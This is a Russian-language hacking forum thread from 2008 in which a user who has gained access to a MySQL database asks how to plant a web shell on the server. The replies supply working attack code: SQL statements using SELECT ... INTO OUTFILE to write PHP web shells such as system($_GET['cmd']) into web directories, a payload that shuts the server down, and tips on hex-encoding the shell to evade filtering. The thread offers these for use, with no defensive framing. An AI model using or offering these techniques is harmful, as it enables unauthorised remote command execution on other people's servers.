Шелл через MySQL

Discussion in 'Уязвимости' started by ~Taxa~, 14 May 2008.

Thread Status:
Not open for further replies.
  1. ~Taxa~

    ~Taxa~ New Member

    Joined:
    24 Jan 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    -1
    Вот столкнулся с тем, что есть доступ к базе данных. То есть я конекчусь через RST MySQL скрипт к базе, могу удалять, создавать таблицы и т.д. Но мне надо залить шелл, если какие нибудь способы?
     
  2. SKAZ0CHN1k

    SKAZ0CHN1k New Member

    Joined:
    8 Feb 2008
    Messages:
    5
    Likes Received:
    2
    Reputations:
    -5
    Есть :)
    Создаем допустим таблицу, в какое нить поле помещаем что-нить типа:
    <?
    system ('init 0'); // или любой производный код.
    ?>

    SELECT поле INTO OUTFILE "/www/index2.php"
    FROM таблица;

    После выполнения запроса формируется файл в указанной дирректории с данными из таблицы :)
     
  3. SKAZ0CHN1k

    SKAZ0CHN1k New Member

    Joined:
    8 Feb 2008
    Messages:
    5
    Likes Received:
    2
    Reputations:
    -5
    правда там нада разобраться с экранированием символов, типа
    SELECT поле INTO OUTFILE "/www/index2.php"
    FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
    LINES TERMINATED BY "\n"
    FROM таблица;
    // ну эт просто пример...
     
  4. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    create table `lamak` (`phpcod` text not null);
    insert into `lamak` (`phpcod`) values ('<? system($_GET[cmd]);?>');
    select phpcod from `lamak` into outfile '/tmp/shell.php';
    drop table `lamak`;

    Только мой тебе совет, гет не используй, лучше поставь инклуд на нормальный веб-шелл.
     
  5. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Хм, зачем создавать таблицу, запихивать в неё код шелла, затем выводить это все в файл, получая шелл, а затем удалять таблицу?

    На много проще будет сразу записать данные в файл:

    Code:
    select '<?php system($_GET["cmd"]); ?>' into outfile '/home/www/ .... /shell.php'
    Только код шелла советую предварительно запихивать в хексы.

    А вообще поиск юзать нужно перед созданием темы - обсуждалось и не раз.
     
    2 people like this.
Thread Status:
Not open for further replies.